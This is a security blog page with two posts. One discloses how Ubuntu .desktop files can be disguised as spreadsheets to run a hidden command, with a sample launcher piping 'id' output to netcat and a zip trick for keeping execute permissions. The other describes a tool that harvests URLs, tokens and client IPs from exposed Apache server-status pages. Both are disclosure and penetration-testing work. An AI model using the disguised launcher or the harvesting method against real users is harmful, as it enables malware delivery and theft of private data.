Saturday, April 8, 2017

Using Ubuntu .DESKTOP as a Malware Vector

    I have noticed a weird behavior in .DESKTOP file extensions that can be used as a malware vector. This issue is not detected as malware by all known AVs, and the way it behaves makes it a rich resource for spreading malware against Ubuntu and Linux Desktop users in general. I will focusing on Ubuntu Desktop on this blog post.

Introduction
    File managers on Ubuntu (Nautilus, Caja, Thunar are tested) treats .desktop in a special way. Basically, it parses .desktop, and view the files as the way it's saved on their .desktop entry. In addition to that, it also changes the icon of the file to the one specified in the .desktop entry too.

Example .desktop File

Let's say the filename is "firefox.desktop", and it's saved at "/root/test/"

```
 #!/usr/bin/env xdg-open

[Desktop Entry]
Version=1.0
Type=Application
Name = Firefox Browser
Comment = Firefox Browser
Icon = /path/to/icon
```

    when navigating to "/root/test" via a file manager, we will see a file called "Firefox Browser", and Icon of Firefox, instead of seeing a file called "firefox.desktop".


Let's dive more into "Desktop Entry" options.
    One of the most interesting entries is "Exec". Basically, it will take the input, and pass it to shell to be executed. That doesn't sound nice.

    We can simply inject a payload there, along with a custom crafted .desktop design that mimics an interesting file.


```
#!/usr/bin/env xdg-open

[Desktop Entry]
Version=1.0
Type=Application
Terminal=false
Name = Employees Salary.xslx
Comment = Employees Salary.xslx
Icon = libreoffice-calc
Exec = /bin/sh -c "id | nc 127.0.0.1 1337"
```

    Saving the file as "payload.desktop", when it's viewed, it will be viewed thanks to file managers as "Employees Salary.xslx" with LibreOffice icon. Once a user click on the file, the payload will be executed.

Profit?
Stealthy malware vector on Ubuntu Desktop.


Obstacles of Successful Exploitation

    Executing permissions would be an issue in exploitation. When a .desktop file does not have an execution permission, we get the following the error:



    This error can be bypassed by presetting the permissions to 07555 for example to be executed, then ZIPPing the file, and delivering it as a ZIP archive, when it's decompressed, the same permissions will be outputted. Now the malware vector would work normally with any distribution that supports .desktop extensions.


Proof of Concept
I have made a test repository that holds a simple PoC that will pop-up a calc.




To test on your local machine: 

$ git clone 'https://github.com/mazen160/Ubuntu-Desktop-Malware-Vector-Demo.git'

then navigate to the "Demo" folder using a file manager, you will see the following when clicking on the file:

Actions
    I have contacted Ubuntu security, and they have decided to accept the risk of this issue. Therefore, the issue is still there, and affects millions of users online.

Recommendation
    It's quite difficult to recommend stopping the usage of File Managers to mitigate the issue. However, I recommend checking/opening untrusted files via CLI. This helps in detecting the exploitation of .desktop malware vector.

Final Thoughts
    This was a cool idea I had in my mind that I thought of sharing it. I'm looking forward to your opinions regarding this technique.

Friday, January 13, 2017

Exploiting Misconfigured Apache server-status Instances with server-status_PWN


    


    One of the things that my clients like in my work that I always like to do my best in providing technical Proof of Concepts in findings I discover. This makes it easier for technical departments to reproduce the issues, and also a nice way to show how bugs and issues can be actually exploited.


    I recently had an assessment where I discovered a number of publicly exposed Apache server-status instances. In case you are not familiar with Apache server-status, feel free to read this document.


    When I report it initially to the company, the team thought that it would be an acceptable risk to leave it there.


    I believe Apache server-status should not be accessible, as it pose a major privacy and security risk.



What Information can be exposed?


* All requested URLs by all Hosts/VHosts on the Apache server.
This includes:
      * Hidden and obscure files and directories.
      * Session Tokens on GET REQUEST_URI (eg.. https://example.com/?token=123). If tokens are passed through GET HTTP method, it will be exposed, no matter what SSL encryption is used.

* All clients' IP addresses along with URLs the clients have requested.




What do we need as attackers?


    We need a script that constantly monitors the exposed Apache server-status, and extracts all new URLs, and save them for later testing.

    Also, if we are performing an intelligence engagement, we would need all IPs that interacts with the Apache server that hosts our target website, along with requested URLs. Then we need to constantly monitor the service on the hour.



What have I done to Solve the Issue?


    As a penetration tester, I believe that without an actual PoC, the attack would be theoretical, simple as that. PoC || GO is the rule of the game.

So, I wrote server-status PWN.




Introducing server-status PWN


    server-status PWN constantly requests and parses Apache server-status pages for any new event. Whenever a new URL is requested or a new client IP address is used, it will be logged and reported. It outputs the logs in a SQLITE3 database.


Example Tool Output:



    The tool basically did exactly what I needed, if anyone have additional ideas that would like to push it into server-status_PWN, let me know and I will be happy to implement it.



server-status_PWN Homepage: https://github.com/mazen160/server-status_PWN



    If you have a project or would like your application/network to be tested, I provide freelancing penetration testing services. Feel free to email me at <Mazin AT MazinAhmed DOT net>, and check the Hire Me page.




[February 20, 2017] Update:

    The Apache Foundation has made changes to their official Apache server-status instance, which was made available at: https://www.apache.org/server-status 
    Initially, it was publicly and intentionally accessible. Now, it shows a large notice stating that the data is "static data" and do not hold any users' data or information. Great job as always by Apache Foundation in protecting the user's security and privacy.

Screenshot